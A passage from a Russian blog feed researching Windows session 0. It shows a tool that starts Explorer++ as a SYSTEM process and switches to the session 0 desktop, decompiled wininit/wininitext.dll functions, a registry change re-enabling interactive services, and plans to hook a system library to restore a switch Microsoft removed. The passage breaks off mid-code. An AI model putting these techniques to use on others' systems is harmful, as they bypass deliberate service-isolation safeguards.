Для этого выполните команду <b>utl</b> (Enter) <b>1</b> (Enter) <b>2</b> (Enter) <b>1</b> (Enter) <b>1</b> (Enter)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6760&amp;d=1612001298" rel="Lightbox" id="attachment6760" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6760&amp;thumb=1&amp;d=1612001298" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.png
Просмотров: 347
Размер:	22.5 Кб
ID:	6760" style="margin: 5px" /></a><br />
это запустит Explorer++ как системный процесс в сессии 0 на рабочем столе Default. Вы его не увидите до тех пор, пока не перейдёте в сессию 0.<br />
<br />
5. Выполнив обязательное условие (<b>на всех Windows сервис должен быть со статусом Выполняется (SERVICE_RUNNING)</b>) можно сделать переход.<br />
Для этого выполните команду <b>sw</b> (Enter) <b>Default</b> (Enter)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6761&amp;d=1612001665" rel="Lightbox" id="attachment6761" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6761&amp;thumb=1&amp;d=1612001665" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 4.png
Просмотров: 354
Размер:	14.6 Кб
ID:	6761" style="margin: 5px" /></a><br />
<br />
Я вас поздравляю, вы находитесь в окружении системы :)<br />

			   <div class="spoiler-wrap">
				   <div class="spoiler-head folded clickable">Кликните здесь для просмотра всего текста</div>
				   <div class="spoiler-body">
					   <img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6765&amp;d=1612002220" border="0" alt="Название: 5.jpg
Просмотров: 2386

Размер: 158.0 Кб" style="margin: 5px" />
				   </div>
			   </div><br />
<br />
Там можно спокойно работать (этот блог я пишу из сессии 0), запускать программы, слушать музыку, серфить в интернете. И кстати браузер в сессии 0 открывается просто молниеносно, да и в целом там всё работает быстрее, т.к. нету целой физической оболочки пользовательского окружения, и все запросы отправляются прямиком в систему. <br />
Единственно что не работает в сессии 0 - это графический драйвер (Microsoft об этом сразу заявляли). Так что запустить игру, или сделать интерфейс окон похожим на привычный пока что не получится.<br />
А так, можно запустить какую-нибудь оболочку и превратить окружении сессии 0 в обычный рабочий стол (как это делается в linux системах).<br />
А вот при попытке запуска дефолтового проводника Windows (explorer.exe), сначала произойдёт его первичная инициализация<br />

			   <div class="spoiler-wrap">
				   <div class="spoiler-head folded clickable">Кликните здесь для просмотра всего текста</div>
				   <div class="spoiler-body">
					   <img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6767&amp;d=1612003701" border="0" alt="Название: 6.jpg
Просмотров: 2378

Размер: 135.4 Кб" style="margin: 5px" />
				   </div>
			   </div><br />
но через несколько секунд он &quot;упадёт&quot;. Хотя при этом, в Windows 7 explorer.exe спокойно инициализируется и работает.<br />
<br />
По мере обновления программы, буду прикреплять новые сборки, так что если кому интересно поглядывайте иногда)<br />
Если возникнут какие-либо вопросы, пишите в комментариях.<br />
<br />
Скачать программу вы можете <a href="https://www.cyberforum.ru/blogs/172954/blog7009.html">ЗДЕСЬ</a></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/6953.html</guid>
		</item>
		<item>
			<title><![CDATA[Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 2: Windows 8 - Windows 10]]></title>
			<link>https://www.cyberforum.ru/blogs/172954/6910.html</link>
			<pubDate>Sun, 10 Jan 2021 09:16:57 GMT</pubDate>
			<description><![CDATA[Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 1: Windows Vista - Windows...]]></description>
			<content:encoded><![CDATA[<div><a href="https://www.cyberforum.ru/blogs/172954/blog6813.html">Исследование сервиса &quot;Обнаружение интерактивных служб&quot; (UI0Detect) Часть 1: Windows Vista - Windows 7</a><br />
<br />
Первая часть блога по исследованию сервиса UI0Detect в больше степени касается таких операционных систем, как Windows Vista и Windows 7.<br />
Механизм переключения на Рабочий стол нулевой сессии в этих ОС одинаков (за исключением некоторых неважных мелочей).<br />
Но в Windows 8/8.1 и Windows 10 ядро было переписано в угоду <i>&quot;безопасности&quot;</i>. Коснулись эти изменения и сервиса Обнаружение интерактивных служб.<br />
<br />
Немного освежим память и посмотрим как UI0Detect работает в Vista и 7.<br />
Как мы знаем, механизм переключения в сессию 0 перекочевал из подпрограммы Winlogon в подпрограмму Wininit.<br />
В точке входа Wininit (функция WinMain) определены две internal функции RegisterSession0ViewerWindowHookDll и UnRegisterSession0ViewerWindowHookDll (вторая функция не представляет особого интересна и рассматриваться не будет).<br />
Описание кода функции RegisterSession0ViewerWindowHookDll можете найти в первой части, но для наглядности я приведу её прототип<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="377247748"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="377247748" style="height: 78px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
</pre></td><td class="de1"><pre class="de1">DWORD RegisterSession0ViewerWindowHookDll<span class="br0">&#40;</span>
&nbsp; &nbsp; VOID
<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Как видно, функция пустая и не принимает никаких аргументов.<br />
Суть в том, что в Vista и 7 инструмент перехода в сессию 0 находился прям в Wininit.exe и не требовалось никаких дополнительных действий чтобы его задействовать.<br />
Но в Microsoft посчитали, что это небезопасно и решили убрать функции RegisterSession0ViewerWindowHookDll и UnRegisterSession0ViewerWindowHookDll из ядра системы. Что же они сделали?<br />
<br />
Гуляя в дизассемблере по Wininit.exe можно наткнуться на массивную функцию PrimaryTerminalAndHookWorker<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6691&amp;d=1610267645" rel="Lightbox" id="attachment6691" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6691&amp;thumb=1&amp;d=1610267645" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 1786
Размер:	110.0 Кб
ID:	6691" style="margin: 5px" /></a><br />
По косвенным признакам и вспоминая из первой части, что для перехода на рабочий стол нужен дескриптор этого рабочего стола (s_hdeskApplication), который функция RegisterSession0ViewerWindowHookDll получала из другой internal функции CreatePrimaryTerminal<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="842597490"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="842597490" style="height: 46px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
</pre></td><td class="de1"><pre class="de1">CreatePrimaryTerminal<span class="br0">&#40;</span>s_hWinsta, lpMem, s_hdeskWinlogon, s_hdeskApplication, g_Context<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>сразу становится ясно, что функция PrimaryTerminalAndHookWorker оперирует нужными дескрипторами для перехода на другие рабочие столы других сессий.<br />
<br />
Вот её прототип (от версии к версии ОС функция постоянно меняется, я приведу код для Windows 10 build 1709)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="685921292"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="685921292" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
</pre></td><td class="de1"><pre class="de1">__int64 g_Context<span class="sy4">;</span>
<span class="kw4">unsigned</span> <span class="kw4">short</span> g_usState <span class="sy1">=</span> <span class="nu0">5</span><span class="sy4">;</span>
DWORD Period <span class="sy1">=</span> <span class="nu0">6</span><span class="sy4">;</span>
__int16 v57<span class="sy4">;</span>
&nbsp;
DWORD PrimaryTerminalAndHookWorker<span class="br0">&#40;</span>
&nbsp; &nbsp; <span class="sy3">&amp;</span>s_hWinsta,
&nbsp; &nbsp; <span class="sy3">&amp;</span>s_hdeskWinlogon,
&nbsp; &nbsp; <span class="sy3">&amp;</span>s_hdeskApplication,
&nbsp; &nbsp; <span class="sy3">&amp;</span>g_Context,
&nbsp; &nbsp; <span class="sy3">&amp;</span>g_usState,
&nbsp; &nbsp; Period,
&nbsp; &nbsp; <span class="sy3">&amp;</span>v57,
&nbsp; &nbsp; g_pSidSystem,
&nbsp; &nbsp; g_pSidLocalService,
&nbsp; &nbsp; g_pSidLocal,
&nbsp; &nbsp; g_pSidWorld,
&nbsp; &nbsp; g_pSidAdmin,
&nbsp; &nbsp; g_pSidPowerUser,
&nbsp; &nbsp; g_pSidCreator,
&nbsp; &nbsp; g_pSidRestricted,
&nbsp; &nbsp; g_pSidInteractive,
&nbsp; &nbsp; g_pSidService,
&nbsp; &nbsp; g_pSidWindowManager,
&nbsp; &nbsp; g_pSidFontDriverHost,
&nbsp; &nbsp; g_pSidAnyPackage,
&nbsp; &nbsp; g_pSidAnyRestrictedPackage
<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Но функция PrimaryTerminalAndHookWorker не является внутренней (internal), она экспортируемая.<br />
И экспортируется она из библиотеки wininitext.dll (wininitext.dll появилась именно в Windows 8 и последующих ОС, в Windows 7 и предыдущих ОС её не было).<br />
<br />
Посмотрим на мнемонику функции PrimaryTerminalAndHookWorker в дизассемблере (код для Windows 10 build 1709)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="660295317"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="660295317" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
</pre></td><td class="de1"><pre class="de1">__int64 __fastcall PrimaryTerminalAndHookWorker<span class="br0">&#40;</span>__int64 a1, __int64 a2, HDESK <span class="sy2">*</span>a3, __int64 a4, _WORD <span class="sy2">*</span>a5, __int16 a6, _WORD <span class="sy2">*</span>a7, __int64 a8, __int64 a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, __int64 a14, __int64 a15, __int64 a16, __int64 a17, __int64 a18, __int64 a19, __int64 a20, __int64 a21<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; <span class="kw4">bool</span> v21<span class="sy4">;</span> <span class="co1">// zf</span>
&nbsp; __int64 result<span class="sy4">;</span> <span class="co1">// rax</span>
&nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> v27<span class="sy4">;</span> <span class="co1">// esi</span>
&nbsp; HANDLE v28<span class="sy4">;</span> <span class="co1">// rax</span>
&nbsp; LPVOID lpMem<span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span><span class="sy4">;</span> <span class="co1">// [rsp+30h] [rbp-28h] BYREF</span>
&nbsp;
&nbsp; v21 <span class="sy1">=</span> dword_18000970C <span class="sy1">==</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; lpMem<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> <span class="sy1">=</span> 0i64<span class="sy4">;</span>
&nbsp; <span class="sy2">*</span>a7 <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> v21 <span class="br0">&#41;</span>
&nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; dword_180009710 <span class="sy1">=</span> GetRespecializeFlag<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; dword_180009708 <span class="sy1">=</span> GetSetupType<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; dword_18000970C <span class="sy1">=</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> WPP_GLOBAL_Control <span class="sy3">!</span><span class="sy1">=</span> <span class="sy3">&amp;</span>WPP_GLOBAL_Control
&nbsp; &nbsp; &nbsp; <span class="sy3">&amp;&amp;</span> <span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>_BYTE <span class="sy2">*</span><span class="br0">&#41;</span>WPP_GLOBAL_Control <span class="sy2">+</span> <span class="nu0">28</span><span class="br0">&#41;</span> <span class="sy3">&amp;</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span>
&nbsp; &nbsp; &nbsp; <span class="sy3">&amp;&amp;</span> <span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>_BYTE <span class="sy2">*</span><span class="br0">&#41;</span>WPP_GLOBAL_Control <span class="sy2">+</span> <span class="nu0">25</span><span class="br0">&#41;</span> <span class="sy1">&gt;=</span> 4u <span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; WPP_SF_dd<span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>_QWORD <span class="sy2">*</span><span class="br0">&#41;</span>WPP_GLOBAL_Control <span class="sy2">+</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; g_pSidSystem <span class="sy1">=</span> a8<span class="sy4">;</span>
&nbsp; g_pSidLocalService <span class="sy1">=</span> a9<span class="sy4">;</span>
&nbsp; g_pSidLocal <span class="sy1">=</span> a10<span class="sy4">;</span>
&nbsp; g_pSidWorld <span class="sy1">=</span> a11<span class="sy4">;</span>
&nbsp; g_pSidAdmin <span class="sy1">=</span> a12<span class="sy4">;</span>
&nbsp; g_pSidPowerUser <span class="sy1">=</span> a13<span class="sy4">;</span>
&nbsp; g_pSidCreator <span class="sy1">=</span> a14<span class="sy4">;</span>
&nbsp; g_pSidRestricted <span class="sy1">=</span> a15<span class="sy4">;</span>
&nbsp; g_pSidInteractive <span class="sy1">=</span> a16<span class="sy4">;</span>
&nbsp; g_pSidService <span class="sy1">=</span> a17<span class="sy4">;</span>
&nbsp; g_pSidWindowManager <span class="sy1">=</span> a18<span class="sy4">;</span>
&nbsp; g_pSidFontDriverHost <span class="sy1">=</span> a19<span class="sy4">;</span>
&nbsp; g_pSidAnyPackage <span class="sy1">=</span> a20<span class="sy4">;</span>
&nbsp; g_pSidAnyRestrictedPackage <span class="sy1">=</span> a21<span class="sy4">;</span>
&nbsp; result <span class="sy1">=</span> CreatePrimaryTerminal<span class="br0">&#40;</span>a1, lpMem, a2, a3, a4<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; v27 <span class="sy1">=</span> result<span class="sy4">;</span>
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span>_DWORD<span class="br0">&#41;</span>result <span class="br0">&#41;</span>
&nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="sy2">*</span>a7 <span class="sy1">=</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; <span class="kw1">else</span>
&nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="sy2">*</span>a5 <span class="sy1">=</span> a6<span class="sy4">;</span>
&nbsp; &nbsp; v28 <span class="sy1">=</span> GetProcessHeap<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; HeapFree<span class="br0">&#40;</span>v28, <span class="nu0">0</span>, lpMem<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; UpdatePerUserSystemParameters<span class="br0">&#40;</span>0i64<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> dword_180009708 <span class="sy3">||</span> dword_180009710 <span class="sy3">!</span><span class="sy1">=</span> v27 <span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; result <span class="sy1">=</span> v27<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="kw1">else</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; result <span class="sy1">=</span> RegisterSession0ViewerWindowHookDll<span class="br0">&#40;</span><span class="sy2">*</span>a3<span class="br0">&#41;</span><span class="sy4">;</span> <span class="co1">// вот она и попалась!!!</span>
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span>_DWORD<span class="br0">&#41;</span>result <span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span>a7 <span class="sy1">=</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; <span class="kw1">return</span> result<span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>И что же мы видим - функция RegisterSession0ViewerWindowHookDll перекочевала в функцию PrimaryTerminalAndHookWorker (библиотеки wininitext.dll) и вызывается ядром в подпрограмме Wininit.exe (функция UnRegisterSession0ViewerWindowHookDll теперь также располагается в библиотеке wininitext.dll).<br />
При этом изменился её прототип<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="128789389"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="128789389" style="height: 78px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
</pre></td><td class="de1"><pre class="de1">DWORD RegisterSession0ViewerWindowHookDll<span class="br0">&#40;</span>
&nbsp; &nbsp; HDESK s_hdeskApplication
<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>RegisterSession0ViewerWindowHookDll принимает один аргумент - дескриптор рабочего стола, который далее передаётся в функции SetThreadDesktop и SwitchDesktop.<br />
Есть ещё один важный момент - чтобы механизм перехода в Windows 8/8.1 и Windows 10 заработал, нужно изменить в реестре значение NoInteractiveServices на ноль (0), которое находится по следующему пути<br />

<table width="95%"  class="bbcode_maincontainer"><tr><td>
	<div class="bbcode_container">
	  <div class="bbcode_quote">
	    <div class="btbtbt">
		<div class="quote_container">
	      	<div class="bbcode_quote_container"></div>
	       	<div class="bbcode_postedby">
	         	
	        </div>
	        <div class="message">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl Set\Control\Windows</div>
	      </div>
			</div> 
		</div>
	</div>
</td></tr></table>по умолчанию значение NoInteractiveServices установлено в единицу (1).<br />
<br />
Теперь я приведу мнемонику функции PrimaryTerminalAndHookWorker из ОС Windows 10 build 2009 (20H2)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="492109495"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="492109495" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
</pre></td><td class="de1"><pre class="de1">__int64 __fastcall PrimaryTerminalAndHookWorker<span class="br0">&#40;</span>__int64 a1, __int64 a2, __int64 a3, __int64 a4, _WORD <span class="sy2">*</span>a5, __int16 a6, _WORD <span class="sy2">*</span>a7, __int64 a8, __int64 a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, __int64 a14, __int64 a15, __int64 a16, __int64 a17, __int64 a18, __int64 a19, __int64 a20, __int64 a21<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; <span class="kw4">bool</span> v21<span class="sy4">;</span> <span class="co1">// zf</span>
&nbsp; __int64 result<span class="sy4">;</span> <span class="co1">// rax</span>
&nbsp; HANDLE v27<span class="sy4">;</span> <span class="co1">// rax</span>
&nbsp; LPVOID lpMem<span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span><span class="sy4">;</span> <span class="co1">// [rsp+30h] [rbp-28h] BYREF</span>
&nbsp;
&nbsp; v21 <span class="sy1">=</span> dword_180009778 <span class="sy1">==</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; lpMem<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> <span class="sy1">=</span> 0i64<span class="sy4">;</span>
&nbsp; <span class="sy2">*</span>a7 <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> v21 <span class="br0">&#41;</span>
&nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; dword_18000977C <span class="sy1">=</span> GetRespecializeFlag<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; dword_180009774 <span class="sy1">=</span> GetSetupType<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; dword_180009778 <span class="sy1">=</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> WPP_GLOBAL_Control <span class="sy3">!</span><span class="sy1">=</span> <span class="sy3">&amp;</span>WPP_GLOBAL_Control
&nbsp; &nbsp; &nbsp; <span class="sy3">&amp;&amp;</span> <span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>_BYTE <span class="sy2">*</span><span class="br0">&#41;</span>WPP_GLOBAL_Control <span class="sy2">+</span> <span class="nu0">28</span><span class="br0">&#41;</span> <span class="sy3">&amp;</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span>
&nbsp; &nbsp; &nbsp; <span class="sy3">&amp;&amp;</span> <span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>_BYTE <span class="sy2">*</span><span class="br0">&#41;</span>WPP_GLOBAL_Control <span class="sy2">+</span> <span class="nu0">25</span><span class="br0">&#41;</span> <span class="sy1">&gt;=</span> 4u <span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; WPP_SF_dd<span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>_QWORD <span class="sy2">*</span><span class="br0">&#41;</span>WPP_GLOBAL_Control <span class="sy2">+</span> <span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; g_pSidSystem <span class="sy1">=</span> a8<span class="sy4">;</span>
&nbsp; g_pSidLocalService <span class="sy1">=</span> a9<span class="sy4">;</span>
&nbsp; g_pSidLocal <span class="sy1">=</span> a10<span class="sy4">;</span>
&nbsp; g_pSidWorld <span class="sy1">=</span> a11<span class="sy4">;</span>
&nbsp; g_pSidAdmin <span class="sy1">=</span> a12<span class="sy4">;</span>
&nbsp; g_pSidPowerUser <span class="sy1">=</span> a13<span class="sy4">;</span>
&nbsp; g_pSidCreator <span class="sy1">=</span> a14<span class="sy4">;</span>
&nbsp; g_pSidRestricted <span class="sy1">=</span> a15<span class="sy4">;</span>
&nbsp; g_pSidInteractive <span class="sy1">=</span> a16<span class="sy4">;</span>
&nbsp; g_pSidService <span class="sy1">=</span> a17<span class="sy4">;</span>
&nbsp; g_pSidWindowManager <span class="sy1">=</span> a18<span class="sy4">;</span>
&nbsp; g_pSidFontDriverHost <span class="sy1">=</span> a19<span class="sy4">;</span>
&nbsp; g_pSidAnyPackage <span class="sy1">=</span> a20<span class="sy4">;</span>
&nbsp; g_pSidAnyRestrictedPackage <span class="sy1">=</span> a21<span class="sy4">;</span>
&nbsp; result <span class="sy1">=</span> CreatePrimaryTerminal<span class="br0">&#40;</span>a1, lpMem, a2, a3, a4<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span>_DWORD<span class="br0">&#41;</span>result <span class="br0">&#41;</span>
&nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="sy2">*</span>a7 <span class="sy1">=</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; <span class="kw1">else</span>
&nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="sy2">*</span>a5 <span class="sy1">=</span> a6<span class="sy4">;</span>
&nbsp; &nbsp; v27 <span class="sy1">=</span> GetProcessHeap<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; HeapFree<span class="br0">&#40;</span>v27, <span class="nu0">0</span>, lpMem<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; UpdatePerUserSystemParameters<span class="br0">&#40;</span>0i64<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; result <span class="sy1">=</span> 0i64<span class="sy4">;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; <span class="kw1">return</span> result<span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Как можно видеть функция RegisterSession0ViewerWindowHookDll просто отсутствует в коде PrimaryTerminalAndHookWorker (UnRegisterSession0ViewerWindowHookDll также удалена из библиотеки wininitext.dll).<br />
<br />
На данный момент я ищу способ вернуть функциональность RegisterSession0ViewerWindowHookDll и Microsoft немного способствует этому (хукать библиотеку всё же проще, чем защищенный процесс).<br />
<br />
И ещё один важный момент. В Windows 10 Microsoft переписала драйвер клавиатуры и мыши в сессии 0.<br />
<b>Перейдя в сессию 0 у вас не будет работать клава-мышь!</b><br />
<br />
Они переписали драйвер win32kfull.sys, точнее 2 функции - RawInputThread (отвечающую за ввод клавиатуры) и xxxDesktopThread (отвечающую за ввод мыши).<br />
<br />
Утрированно, в коде это выглядит следующим образом:<br />
в Windows 8/8.1<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="947976321"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="947976321" style="height: 302px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="de1"><pre class="de1">mouseInputThread<span class="br0">&#40;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; LODWORD<span class="br0">&#40;</span>Object<span class="br0">&#41;</span> <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; RegisterHotKey<span class="br0">&#40;</span><span class="kw4">struct</span> tagWND <span class="sy2">*</span><span class="br0">&#41;</span><span class="nu0">1</span>, <span class="br0">&#40;</span>ULONG_PTR<span class="br0">&#41;</span>Object<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; SetDebugHotKeys<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; SetWinlogonHotKeys<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; SetWindowArrangementHotKeys<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; SetPenHotKeys<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; CreatePointerDeviceProcessEvents<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; v10 <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">struct</span> _KEVENT <span class="sy2">*</span><span class="br0">&#41;</span>v57<span class="br0">&#91;</span><span class="nu0">8</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; EnterCrit<span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; gpkeRITEvent <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; ObfDereferenceObject<span class="br0">&#40;</span><span class="br0">&#40;</span>PVOID<span class="br0">&#41;</span>v57<span class="br0">&#91;</span><span class="nu0">8</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; UserSessionSwitchLeaveCrit<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>в Windows 10<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="973577887"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="973577887" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="de1"><pre class="de1">mouseInputThread<span class="br0">&#40;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>
